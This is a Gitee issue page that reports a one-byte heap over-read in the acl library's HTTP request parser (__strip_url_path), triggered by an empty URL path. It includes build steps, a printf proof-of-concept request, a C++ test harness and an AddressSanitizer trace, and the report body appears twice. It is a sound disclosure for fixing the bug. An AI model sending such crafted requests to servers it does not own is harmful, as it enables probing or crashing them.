登录
注册
开源
企业版
高校版
搜索
帮助中心
使用条款
关于我们
开源
企业版
高校版
私有云
模力方舟
AI 队友
登录
注册
【大赛通知】开源中国「2026北京开源行业解决方案创新赛」火热报名中,百万奖池等你的项目
代码拉取完成,页面将自动刷新
开源项目
>
程序开发
>
网络开发包
&&
Watch
不关注
关注所有动态
仅关注版本发行动态
关注但不提醒动态
271
Star
1.1K
Fork
424
GVP
acl-dev
/
acl
代码
Issues
33
Pull Requests
1
Wiki
统计
流水线
服务
质量分析
Jenkins for Gitee
腾讯云托管
腾讯云 Serverless
悬镜安全
阿里云 SAE
Codeblitz
SBOM
开发画像分析
我知道了,不再自动展开
更新失败,请稍后重试!
移除标识
内容风险标识
本任务被
标识为内容中包含有代码安全 Bug 、隐私泄露等敏感信息,仓库外成员不可访问
Bug报告:HTTP请求解析器在空URL路径下发生越界读取
待办的
#IKCABF
lzx23
创建于
2026-08-31 16:57
### 根因 问题位于`lib_protocol/src/http/http_hdr_req.c`的`__strip_url_path()`函数: ```c const char last_ch = *(url + strlen(url) - 1); ``` 当HTTP请求目标为`http://x/?`时,传入的URL路径为空字符串。此时`strlen(url)`为0,代码会访问`url`之前的一个字节,导致一字节堆越界读取。 ### 复现步骤 **1. 获取源码并编译** ```bash git clone --depth 1 https://gitee.com/acl-dev/acl.git cd acl CC=clang CXX=clang++ cmake -S . -B build-asan \ -DCMAKE_BUILD_TYPE=Debug \ -DACL_BUILD_SHARED=NO \ -DCMAKE_C_COMPILER=clang \ -DCMAKE_CXX_COMPILER=clang++ \ -DCMAKE_C_FLAGS='-g -O1 -fno-omit-frame-pointer -fsanitize=address -Wno-error=unused-private-field -Wno-error=unused-variable -Wno-error=unused-function -Wno-error=sign-compare -Wno-error=deprecated-declarations' \ -DCMAKE_CXX_FLAGS='-g -O1 -fno-omit-frame-pointer -fsanitize=address -Wno-error=unused-private-field -Wno-error=unused-variable -Wno-error=unused-function -Wno-error=sign-compare -Wno-error=deprecated-declarations' cmake --build build-asan -j"$(nproc)" ``` **2. 准备请求数据poc** ```bash printf 'GET http://x/? HTTP/1.1\r\nHost: x\r\n\r\n' > poc ``` **3. 创建HTTP请求解析测试程序** 编写`acl_http_req`用于调用ACL HTTP请求解析接口的测试程序,将以下代码保存为ACL源码根目录下的 `acl_http_req.cpp`: ```cpp #include <cstdio> #include <cstdlib> #include "lib_acl.h" #include "http/lib_http.h" int main(int argc, char** argv) { if (argc < 2) return 0; FILE* f = fopen(argv[1], "rb"); if (!f) return 0; fseek(f, 0, SEEK_END); long n = ftell(f); fseek(f, 0, SEEK_SET); if (n <= 0 || n > 65536) { fclose(f); return 0; } char* buf = (char*) malloc((size_t) n + 1); if (!buf) { fclose(f); return 0; } size_t rd = fread(buf, 1, (size_t) n, f); fclose(f); buf[rd] = 0; HTTP_HDR_REQ* req = http_hdr_req_new(); if (req) { char* p = buf; int first = 1; while (*p) { char* end = p; while (*end && *end != '\\n') end++; char old_end = *end; *end = 0; if (end > p && *(end - 1) == '\\r') *(end - 1) = 0; if (*p) { HTTP_HDR_ENTRY* entry; if (first) { entry = http_hdr_entry_head(p); first = 0; } else { entry = http_hdr_entry_new2(p); } if (entry) http_hdr_append_entry(&req->hdr, entry); } *end = old_end; if (!*end) break; p = end + 1; } http_hdr_req_parse3(req, 1, 1); http_hdr_req_free(req); } free(buf); return 0; } ``` 在ACL源码根目录执行以下命令编译测试程序: ```bash clang++ -g -O1 -fno-omit-frame-pointer -fsanitize=address \ -Ilib_acl/include \ -Ilib_protocol/include \ acl_http_req.cpp \ build-asan/lib/libacl_cpp.a \ build-asan/lib/libprotocol.a \ build-asan/lib/libacl.a \ -lpthread -ldl -lz \ -o acl_http_req ``` **4. 运行HTTP请求解析poc测试程序** 使用项目的HTTP请求解析接口读取`poc`,并在AddressSanitizer环境下运行: ```bash ./acl_http_req poc ``` ### ASAN报错 ```bash ================================================================= ==3473261==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50600000001f at pc 0x559a81d39a08 bp 0x7ffd1593ab50 sp 0x7ffd1593ab48 READ of size 1 at 0x50600000001f thread T0 #0 0x559a81d39a07 in __strip_url_path /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:620:24 #1 0x559a81d36ba1 in __parse_url_and_port /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:723:3 #2 0x559a81d36ba1 in http_hdr_req_line_parse /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:838:2 #3 0x559a81d38604 in http_hdr_req_parse3 /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:858:6 #4 0x559a81d32199 in main /src/test/results/fuzzing_acl/test/acl/acl_http_req.cpp:59:9 #5 0x7f53d2fc61c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e) #6 0x7f53d2fc628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e) #7 0x559a81c4e5c4 in _start (/src/test/results/fuzzing_acl/test/acl/acl_http_req+0x3f5c4) (BuildId: e524a0db3bfc1da803b9226ba686abd104470b50) 0x50600000001f is located 1 bytes before 64-byte region [0x506000000020,0x506000000060) allocated by thread T0 here: #0 0x559a81cee3f3 in malloc (/src/test/results/fuzzing_acl/test/acl/acl_http_req+0xdf3f3) (BuildId: e524a0db3bfc1da803b9226ba686abd104470b50) #1 0x559a81d51510 in acl_vstring_slice_alloc /src/test/results/fuzzing_acl/test/acl/lib_acl/src/stdlib/acl_vstring.c:221:37 #2 0x559a81d51510 in acl_vstring_alloc /src/test/results/fuzzing_acl/test/acl/lib_acl/src/stdlib/acl_vstring.c:200:9 #3 0x559a81d355e8 in __hdr_init /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:22:17 #4 0x559a81d35550 in http_hdr_req_new /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c #5 0x559a81d31fca in main /src/test/results/fuzzing_acl/test/acl/acl_http_req.cpp:31:25 #6 0x7f53d2fc61c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e) #7 0x7f53d2fc628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e) #8 0x559a81c4e5c4 in _start (/src/test/results/fuzzing_acl/test/acl/acl_http_req+0x3f5c4) (BuildId: e524a0db3bfc1da803b9226ba686abd104470b50) SUMMARY: AddressSanitizer: heap-buffer-overflow /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:620:24 in __strip_url_path Shadow bytes around the buggy address: 0x505ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x505ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x505ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x505fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x505fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x506000000000: fa fa fa[fa]00 00 00 00 00 00 00 00 fa fa fa fa 0x506000000080: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa 0x506000000100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x506000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x506000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x506000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==3473261==ABORTING ```
### 根因 问题位于`lib_protocol/src/http/http_hdr_req.c`的`__strip_url_path()`函数: ```c const char last_ch = *(url + strlen(url) - 1); ``` 当HTTP请求目标为`http://x/?`时,传入的URL路径为空字符串。此时`strlen(url)`为0,代码会访问`url`之前的一个字节,导致一字节堆越界读取。 ### 复现步骤 **1. 获取源码并编译** ```bash git clone --depth 1 https://gitee.com/acl-dev/acl.git cd acl CC=clang CXX=clang++ cmake -S . -B build-asan \ -DCMAKE_BUILD_TYPE=Debug \ -DACL_BUILD_SHARED=NO \ -DCMAKE_C_COMPILER=clang \ -DCMAKE_CXX_COMPILER=clang++ \ -DCMAKE_C_FLAGS='-g -O1 -fno-omit-frame-pointer -fsanitize=address -Wno-error=unused-private-field -Wno-error=unused-variable -Wno-error=unused-function -Wno-error=sign-compare -Wno-error=deprecated-declarations' \ -DCMAKE_CXX_FLAGS='-g -O1 -fno-omit-frame-pointer -fsanitize=address -Wno-error=unused-private-field -Wno-error=unused-variable -Wno-error=unused-function -Wno-error=sign-compare -Wno-error=deprecated-declarations' cmake --build build-asan -j"$(nproc)" ``` **2. 准备请求数据poc** ```bash printf 'GET http://x/? HTTP/1.1\r\nHost: x\r\n\r\n' > poc ``` **3. 创建HTTP请求解析测试程序** 编写`acl_http_req`用于调用ACL HTTP请求解析接口的测试程序,将以下代码保存为ACL源码根目录下的 `acl_http_req.cpp`: ```cpp #include <cstdio> #include <cstdlib> #include "lib_acl.h" #include "http/lib_http.h" int main(int argc, char** argv) { if (argc < 2) return 0; FILE* f = fopen(argv[1], "rb"); if (!f) return 0; fseek(f, 0, SEEK_END); long n = ftell(f); fseek(f, 0, SEEK_SET); if (n <= 0 || n > 65536) { fclose(f); return 0; } char* buf = (char*) malloc((size_t) n + 1); if (!buf) { fclose(f); return 0; } size_t rd = fread(buf, 1, (size_t) n, f); fclose(f); buf[rd] = 0; HTTP_HDR_REQ* req = http_hdr_req_new(); if (req) { char* p = buf; int first = 1; while (*p) { char* end = p; while (*end && *end != '\\n') end++; char old_end = *end; *end = 0; if (end > p && *(end - 1) == '\\r') *(end - 1) = 0; if (*p) { HTTP_HDR_ENTRY* entry; if (first) { entry = http_hdr_entry_head(p); first = 0; } else { entry = http_hdr_entry_new2(p); } if (entry) http_hdr_append_entry(&req->hdr, entry); } *end = old_end; if (!*end) break; p = end + 1; } http_hdr_req_parse3(req, 1, 1); http_hdr_req_free(req); } free(buf); return 0; } ``` 在ACL源码根目录执行以下命令编译测试程序: ```bash clang++ -g -O1 -fno-omit-frame-pointer -fsanitize=address \ -Ilib_acl/include \ -Ilib_protocol/include \ acl_http_req.cpp \ build-asan/lib/libacl_cpp.a \ build-asan/lib/libprotocol.a \ build-asan/lib/libacl.a \ -lpthread -ldl -lz \ -o acl_http_req ``` **4. 运行HTTP请求解析poc测试程序** 使用项目的HTTP请求解析接口读取`poc`,并在AddressSanitizer环境下运行: ```bash ./acl_http_req poc ``` ### ASAN报错 ```bash ================================================================= ==3473261==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50600000001f at pc 0x559a81d39a08 bp 0x7ffd1593ab50 sp 0x7ffd1593ab48 READ of size 1 at 0x50600000001f thread T0 #0 0x559a81d39a07 in __strip_url_path /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:620:24 #1 0x559a81d36ba1 in __parse_url_and_port /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:723:3 #2 0x559a81d36ba1 in http_hdr_req_line_parse /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:838:2 #3 0x559a81d38604 in http_hdr_req_parse3 /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:858:6 #4 0x559a81d32199 in main /src/test/results/fuzzing_acl/test/acl/acl_http_req.cpp:59:9 #5 0x7f53d2fc61c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e) #6 0x7f53d2fc628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e) #7 0x559a81c4e5c4 in _start (/src/test/results/fuzzing_acl/test/acl/acl_http_req+0x3f5c4) (BuildId: e524a0db3bfc1da803b9226ba686abd104470b50) 0x50600000001f is located 1 bytes before 64-byte region [0x506000000020,0x506000000060) allocated by thread T0 here: #0 0x559a81cee3f3 in malloc (/src/test/results/fuzzing_acl/test/acl/acl_http_req+0xdf3f3) (BuildId: e524a0db3bfc1da803b9226ba686abd104470b50) #1 0x559a81d51510 in acl_vstring_slice_alloc /src/test/results/fuzzing_acl/test/acl/lib_acl/src/stdlib/acl_vstring.c:221:37 #2 0x559a81d51510 in acl_vstring_alloc /src/test/results/fuzzing_acl/test/acl/lib_acl/src/stdlib/acl_vstring.c:200:9 #3 0x559a81d355e8 in __hdr_init /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:22:17 #4 0x559a81d35550 in http_hdr_req_new /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c #5 0x559a81d31fca in main /src/test/results/fuzzing_acl/test/acl/acl_http_req.cpp:31:25 #6 0x7f53d2fc61c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e) #7 0x7f53d2fc628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e) #8 0x559a81c4e5c4 in _start (/src/test/results/fuzzing_acl/test/acl/acl_http_req+0x3f5c4) (BuildId: e524a0db3bfc1da803b9226ba686abd104470b50) SUMMARY: AddressSanitizer: heap-buffer-overflow /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:620:24 in __strip_url_path Shadow bytes around the buggy address: 0x505ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x505ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x505ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x505fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x505fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x506000000000: fa fa fa[fa]00 00 00 00 00 00 00 00 fa fa fa fa 0x506000000080: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa 0x506000000100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x506000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x506000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x506000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==3473261==ABORTING ```
评论 (
1
)
登录
后才可以发表评论
状态
待办的
待办的
进行中
已完成
已关闭
负责人
未设置
标签
未设置
标签管理
里程碑
未关联里程碑
未关联里程碑
Pull Requests
未关联
未关联
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
未关联
分支 (
-
)
标签 (
-
)
开始日期   -   截止日期
-
置顶选项
不置顶
置顶等级:高
置顶等级:中
置顶等级:低
优先级
不指定
严重
主要
次要
不重要
参与者(2)
C++
1
https://gitee.com/acl-dev/acl.git
git@gitee.com:acl-dev/acl.git
acl-dev
acl
acl
点此查找更多帮助
搜索帮助
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
仓库举报
回到顶部
登录提示
该操作需登录 Gitee 帐号,请先登录后再操作。
立即登录
没有帐号,去注册